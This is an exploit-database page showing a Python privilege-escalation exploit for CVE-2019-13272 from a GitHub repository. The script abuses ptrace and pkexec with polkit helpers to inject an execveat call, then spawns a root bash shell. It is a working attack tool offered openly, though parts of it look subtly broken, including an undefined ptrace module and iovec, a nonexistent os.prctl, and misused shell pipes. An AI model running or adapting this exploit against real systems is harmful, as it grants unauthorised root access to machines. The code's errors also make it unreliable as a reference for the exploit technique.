Exploit databaseDownload repository ZIP
GH-37da4bbeb59d5933e56c2a039337fa1f
josemlwdf/cve-2019-13272
Sources for CVE-2019-13272
23 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
josemlwdf/cve-2019-13272Revision be0585713821
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2019-13272.py
Python · 8,850 bytesimport os
import signal
import sys
import fcntl
import pwd
import ctypes
from ctypes import c_char_p, c_int, c_long, c_void_p, sizeof, Structure
import subprocess
import time
# CVE-2019-13272
# Constants
DEBUG = True
# Define paths
SHELL = "/bin/bash"
pkexec_path = "/usr/bin/pkexec"
pkaction_path = "/usr/bin/pkaction"
# Define known helpers
known_helpers = [
"/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
"/usr/lib/unity-settings-daemon/usd-backlight-helper",
"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
"/usr/sbin/mate-power-backlight-helper",
"/usr/bin/xfpm-power-backlight-helper",
"/usr/bin/lxqt-backlight_backend",
"/usr/libexec/gsd-wacom-led-helper",
"/usr/libexec/gsd-wacom-oled-helper",
"/usr/libexec/gsd-backlight-helper",
"/usr/lib/gsd-backlight-helper",
"/usr/lib/gsd-wacom-led-helper",
"/usr/lib/gsd-wacom-oled-helper",
]
# Helper functions
def dprintf(fmt, *args):
if DEBUG:
print(fmt % args)
def SAFE(expr):
res = expr
if res == -1:
dprintf("[-] Error: %s", expr)
sys.exit(1)
return res
def tprintf(fmt, *args):
return fmt % args
# Middle main function
def middle_main():
os.prctl(os.PR_SET_PDEATHSIG, signal.SIGKILL)
middle = os.getpid()
self_fd = SAFE(os.open("/proc/self/exe", os.O_RDONLY))
child = SAFE(os.fork())
if child == 0:
os.prctl(os.PR_SET_PDEATHSIG, signal.SIGKILL)
SAFE(os.dup2(self_fd, 42))
proc_fd = SAFE(os.open(tprintf("/proc/%d/status", middle), os.O_RDONLY))
needle = tprintf("\nUid:\t%d\t0\t", os.getuid())
while True:
buf = os.read(proc_fd, 1000)
if needle.encode() in buf:
break
SAFE(ptrace.ptrace(ptrace.PTRACE_TRACEME, 0, None, None))
os.execl(pkexec_path, os.path.basename(pkexec_path))
dprintf("[-] execl: Executing suid executable failed")
sys.exit(1)
SAFE(os.dup2(self_fd, 0))
SAFE(os.dup2(block_pipe[1], 1))
pw = pwd.getpwuid(os.getuid())
if pw is None:
dprintf("[-] getpwuid: Failed to retrieve username")
sys.exit(1)
middle_success = 1
os.execl(pkexec_path, os.path.basename(pkexec_path), "--user", pw.pw_name,
helper_path, "--help")
middle_success = 0
dprintf("[-] execl: Executing pkexec failed")
sys.exit(1)
# Force exec and wait function
def force_exec_and_wait(pid, exec_fd, arg0):
class user_regs_struct(Structure):
_fields_ = [("r15", c_long), ("r14", c_long), ("r13", c_long),
("r12", c_long), ("rbp", c_long), ("rbx", c_long),
("r11", c_long), ("r10", c_long), ("r9", c_long),
("r8", c_long), ("rax", c_long), ("rcx", c_long),
("rdx", c_long), ("rsi", c_long), ("rdi", c_long),
("orig_rax", c_long), ("rip", c_long), ("cs", c_long),
("eflags", c_long), ("rsp", c_long), ("ss", c_long)]
regs = user_regs_struct()
iov = iovec(ctypes.addressof(regs), sizeof(regs))
SAFE(ptrace.ptrace(ptrace.PTRACE_SYSCALL, pid, 0, None))
SAFE(os.waitpid(pid, 0))
SAFE(ptrace.ptrace(ptrace.PTRACE_GETREGSET, pid, ptrace.NT_PRSTATUS, ctypes.byref(iov)))
scratch_area = (regs.rsp - 0x1000) & ~0xfff
class injected_page(Structure):
_fields_ = [("argv", c_long * 2), ("envv", c_long * 1),
("arg0", c_char_p), ("path", c_char_p)]
ipage = injected_page()
ipage.argv[0] = scratch_area + ctypes.sizeof(injected_page.arg0)
ipage.arg0 = arg0.encode()
for i in range(ctypes.sizeof(ipage) // ctypes.sizeof(c_long)):
pdata = ctypes.cast(ctypes.addressof(ipage) + i * ctypes.sizeof(c_long), c_long).value
SAFE(ptrace.ptrace(ptrace.PTRACE_POKETEXT, pid, scratch_area + i * ctypes.sizeof(c_long), pdata))
regs.orig_rax = ptrace.__NR_execveat
regs.rdi = exec_fd
regs.rsi = scratch_area + ctypes.sizeof(injected_page.path)
regs.rdx = scratch_area + ctypes.sizeof(injected_page.argv)
regs.r10 = scratch_area + ctypes.sizeof(injected_page.envv)
regs.r8 = ptrace.AT_EMPTY_PATH
SAFE(ptrace.ptrace(ptrace.PTRACE_SETREGSET, pid, ptrace.NT_PRSTATUS, ctypes.byref(iov)))
SAFE(ptrace.ptrace(ptrace.PTRACE_DETACH, pid, 0, None))
SAFE(os.waitpid(pid, 0))
def middle_stage2():
child = SAFE(os.waitpid(-1, 0))
force_exec_and_wait(child, 42, "stage3")
return 0
# Spawn shell function
def spawn_shell():
SAFE(os.setresgid(0, 0, 0))
SAFE(os.setresuid(0, 0, 0))
os.execlp(SHELL, os.path.basename(SHELL))
dprintf("[-] execlp: Executing shell %s failed", SHELL)
sys.exit(1)
# Check environment function
def check_env():
xdg_session = os.getenv("XDG_SESSION_ID")
dprintf("[.] Checking environment ...")
if not os.path.exists(pkexec_path):
dprintf("[-] Could not find pkexec executable at %s", pkexec_path)
sys.exit(1)
if not os.path.exists(pkaction_path):
dprintf("[-] Could not find pkaction executable at %s", pkaction_path)
sys.exit(1)
if xdg_session is None:
dprintf("[!] Warning: $XDG_SESSION_ID is not set")
return 1
if subprocess.call(["/bin/loginctl", "--no-ask-password", "show-session", xdg_session, "|", "/bin/grep", "Remote=no"], shell=True) != 0:
dprintf("[!] Warning: Could not find active PolKit agent")
return 1
if os.path.exists("/usr/sbin/getsebool"):
if subprocess.call(["/usr/sbin/getsebool", "deny_ptrace", "2>1", "|", "/bin/grep", "-q", "on"], shell=True) == 0:
dprintf("[!] Warning: SELinux deny_ptrace is enabled")
return 1
dprintf("[~] Done, looks good")
return 0
# Find helpers function
def find_helpers():
cmd = [pkaction_path, "--verbose"]
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
output, _ = proc.communicate()
helper_index = 0
useful_action = 0
needle = "org.freedesktop.policykit.exec.path -> "
needle_length = len(needle)
helpers = []
for line in output.splitlines():
if "implicit active:" in line:
if "yes" in line:
useful_action = 1
continue
if useful_action == 0:
continue
useful_action = 0
if needle in line:
buffer = line[line.index(needle) + needle_length:].strip()
if any(x in buffer for x in ["/xf86-video-intel-backlight-helper", "/cpugovctl", "/package-system-locked", "/cddistupgrader"]):
dprintf("[.] Ignoring blacklisted helper: %s", buffer)
continue
if os.path.exists(buffer):
helpers.append(buffer)
return helpers
# Main function
def main():
if len(sys.argv) > 1:
arg = sys.argv[1]
if arg == "middle":
sys.exit(middle_main())
elif arg == "stage2":
sys.exit(middle_stage2())
elif arg == "stage3":
sys.exit(spawn_shell())
dprintf("[~] Starting exploit ...")
if check_env() != 0:
dprintf("[-] Failed to validate environment")
sys.exit(1)
helpers = find_helpers()
if not helpers:
dprintf("[-] No helpers found. Aborting ...")
sys.exit(1)
global helper_path
helper_path = helpers[0]
dprintf("[+] Found %d potential helpers", len(helpers))
for i, h in enumerate(helpers):
dprintf("[+] %d: %s", i, h)
block_pipe = SAFE(os.pipe())
middle = SAFE(os.fork())
if middle == 0:
SAFE(os.dup2(block_pipe[0], 0))
os.close(block_pipe[1])
os.execl("/proc/self/exe", "middle")
dprintf("[-] execl: Executing middle stage failed")
sys.exit(1)
os.close(block_pipe[0])
while os.read(block_pipe[1], 1) == 0:
pass
SAFE(ptrace.ptrace(ptrace.PTRACE_SEIZE, middle, 0, ptrace.PTRACE_O_TRACESECCOMP))
SAFE(os.kill(middle, signal.SIGCONT))
SAFE(os.waitpid(middle, 0))
while True:
SAFE(ptrace.ptrace(ptrace.PTRACE_CONT, middle, 0, None))
wpid, wstatus = SAFE(os.waitpid(middle, 0))
if os.WIFEXITED(wstatus) or os.WIFSIGNALED(wstatus):
dprintf("[-] Middle stage died. Aborting ...")
sys.exit(1)
if os.WIFSTOPPED(wstatus):
sig = os.WSTOPSIG(wstatus)
if sig == signal.SIGTRAP:
event = wstatus >> 16
if event == ptrace.PTRACE_EVENT_SECCOMP:
break
if sig == signal.SIGSTOP:
SAFE(ptrace.ptrace(ptrace.PTRACE_CONT, middle, 0, None))
force_exec_and_wait(middle, 0, "stage2")
dprintf("[~] Exploit complete")
if __name__ == "__main__":
main()